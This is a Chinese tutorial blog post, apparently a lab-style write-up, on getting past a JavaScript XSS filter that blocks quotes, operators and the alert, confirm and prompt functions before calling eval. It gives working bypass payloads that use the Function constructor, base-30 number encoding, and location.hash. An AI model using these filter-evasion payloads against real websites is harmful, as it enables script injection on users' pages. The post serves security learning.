• 安全基础 --- 过滤情况下实现弹窗展现


    使用mafia对弹窗进行过滤

    1. maifa = (new URL(location).searchParams.get('mafia') || '1+1');
    2. // 使用URL对象获取当前页面的URL,并从中提取参数“mafia”的值,如果URL中无“mafia”这个参数,则默认设置值为'1+1'(如果参数值存在为真,则将其赋值给maifa变量,否则将'1+1'赋值给mafia变量)
    3. mafia = mafia.slice(0,50);
    4. // 将这个参数截取0-50位
    5. mafia = mafia.replace(/[\`\'\"+\-\!\\\[\]]/gi,'_');
    6. // 查看是否匹配这样的正则,匹配的话,将其置为下划线
    7. mafia = mafia.replace(/alert|confirm|prompt/g,'_');
    8. // 如果有alert,confirm,prompt,也将其置为下划线
    9. eval(mafia);
    10. // eval对mafia该函数求值并返回结果

    PS:代码已分析

    解析代码

    从代码中可看出,过滤了(`),('),("),(+),(-),(!);以及 过滤了弹窗函数alert,confirm,prompt这三个。

    PS:弹窗最常用的三个函数,为alert,confirm,prompt,都可实现弹窗

    1. payload:alert(1337)
    2. payload:confirm(1337)
    3. payload:prompt(1337)

    绕过限制

    (1)Function

    Function构造函数创建一个新的Function对象。直接调用此构造函数可用动态创建函数,创建的函数只能在全局作用域中运行。

    1. // Function实现弹窗
    2. Function(/ALERT(1337)/.source.toLowerCase())()
    3. // 使用toLowerCase()方法将传递进来的ALERT(1337)参数转成小写,然后用最后的()执行

    (2)eval

    利用30进制来绕过。

    parseInt(*string*,*radix*)解析一个字符并返回指定基数的十进制整数,radix是2-36之间的整数,表示被解析的字符串基数。

    • string:将被解析的值。若不是字符串,将其转为字符串(使用toString抽象操作)。
    • radix(可选):2-36,表示字符串基数。例:指定16表示被解析值是十六进制数。
    parseInt('1234',5) // 将'123'看做5进制数,返回十进制数38 =》1*5^2 + 2*5^1 + 3*5^0

    为何使用30进制?

    1. parseInt('alert',30)
    2. a 11
    3. t 30 --> 0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F....
    4. // alert中,最大的字母是t,t对应的数字是30,所以使用30进制
    5. 例:使用29进制,t无法转换
    6. parseInt('alert',29) // 261984
    7. 261984..toString(29) // 'aler'

    实现绕过,出现弹窗

    1. parseInt('alert',30)
    2. // 8680439
    3. 8680439..toString(30)
    4. // 'alert'
    5. eval(8680439..toString(30))(1337)

    (3)location中的hash绕过

    1. url.href = 'https://www.baidu.com/en-US/search?q=URL#search-results-close-container'
    2. console.log(url.search-results-close-container)

    可看出location.hash是取url中#后面的部分。

    1. 使用slice(1):从第一位开始切割,将alert(1)切割出来
    2. payload:eval(location.hash.slice(1))#alert(1337)
    3. // 使用上述代码即可实现绕过
  • 相关阅读:
    MySQL常用函数汇总(字符串、时间函数等)
    RabbitMQ消息的重复消费问题
    多媒体技术论文研读报告
    Qt setStyleSheet Selector不生效
    深入理解Python虚拟机:super超级魔法的背后原理
    js中判断数组的方式有哪些?
    pg数据库加密和解密,对应java的加密和解密
    vue2基础知识-2
    vue中excel的编辑、导入、导出
    ShareSDK 第三方平台分享参数说明
  • 原文地址:https://blog.csdn.net/weixin_62443409/article/details/133126576